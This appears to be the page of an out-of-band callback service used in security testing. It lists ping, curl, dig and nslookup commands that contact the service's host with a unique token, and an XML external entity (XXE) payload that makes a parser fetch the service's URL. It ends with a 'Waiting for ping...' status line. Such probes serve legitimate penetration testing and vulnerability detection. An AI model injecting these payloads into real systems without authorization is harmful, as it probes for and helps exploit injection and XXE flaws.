$ ping -c1 -p 00559a826043e5fbbf60209abfacbd00 unhack.ca
 
$ curl http://unhack.ca/p/559a826043e5fbbf60209abfacbd
 
$ dig 559a826043e5fbbf60209abfacbd @unhack.ca
 
$ dig 559a826043e5fbbf60209abfacbd.ns.unhack.ca
 
C:\> nslookup 559a826043e5fbbf60209abfacbd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/559a826043e5fbbf60209abfacbd">]>
    <foo>&xxe;</foo>
Waiting for ping...